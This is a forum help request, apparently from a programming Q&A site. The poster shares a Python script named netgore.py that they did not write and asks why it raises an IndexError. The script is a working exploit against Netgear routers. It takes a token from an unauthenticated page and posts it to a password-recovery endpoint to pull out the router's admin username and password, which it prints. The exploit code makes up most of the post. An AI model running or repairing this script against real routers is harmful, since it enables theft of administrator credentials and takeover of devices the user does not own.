title: Router script index error
body: <p>I recently discovered a python script to test the password security of Netgear routers. The code is not mine and I can't figure out why it returns errors when running. It was posted by an experienced coder:</p>
  
  <pre><code>## netgore.py
  import sys
  import requests
  
  def scrape(text, start_trig, end_trig):
          if text.find(start_trig) != -1:
                  return text.split(start_trig, 1)[-1].split(end_trig, 1)[0]
          else:
                  return "i_dont_speak_english"
  #disable nasty insecure ssl warning
  requests.packages.urllib3.disable_warnings()
  #1st stage - get token
  ip = sys.argv[1]
  port = sys.argv[2]
  url = 'http://' + ip + ':' + port + '/'
  try:
          r = requests.get(url)
  except:
          url = 'https://' + ip + ':' + port + '/'
          r = requests.get(url, verify=False)
          model = r.headers.get('WWW-Authenticate')
  if model is not None:
          print("Attcking: " + model[13:-1])
  else:
          print("not a netgear router")
          sys.exit(0)
  token = scrape(r.text, 'unauth.cgi?id=', '\"')
  if token == 'i_dont_speak_english':
          print("not vulnerable")
          sys.exit(0)
  print("token found: " + token)
  #2nd stage - pass the token - get the password
  url = url + 'passwordrecovered.cgi?id=' + token
  r = requests.post(url, verify=False)
  #profit
  if r.text.find('left\"&gt;') != -1:
          username = (repr(scrape(r.text, 'Router Admin Username&lt;/td&gt;', 
  '&lt;/td&gt;')))
          username = scrape(username, '&gt;', '\'')
          password = (repr(scrape(r.text, 'Router Admin Password&lt;/td&gt;', '&lt;/td&gt;')))
          password = scrape(password, '&gt;', '\'')
          if username == "i_dont_speak_english":
                  username = (scrape(r.text[r.text.find('left\"&gt;'):-1], 'left\"&gt;', '&lt;/td&gt;'))
                  password = (scrape(r.text[r.text.rfind('left\"&gt;'):-1], 'left\"&gt;', '&lt;/td&gt;'))
  else:
          print("not vulnerable becuse password recovery IS set")
          sys.exit(0)
  #html encoding pops out of nowhere, lets replace that
  password = password.replace("&amp;#35;","#")
  password = password.replace("&amp;#38;","&amp;")
  print("user: " + username)
  print("pass: " + password)
  </code></pre>
  
  <p>Returns error </p>
  
  <pre><code>line 14, in &lt;module&gt;
  ip = sys.argv[1]
  IndexError: list index out of range
  </code></pre>
  
  <p>I've read other posts regarding index errors but can't see why here. Much Thanks.</p>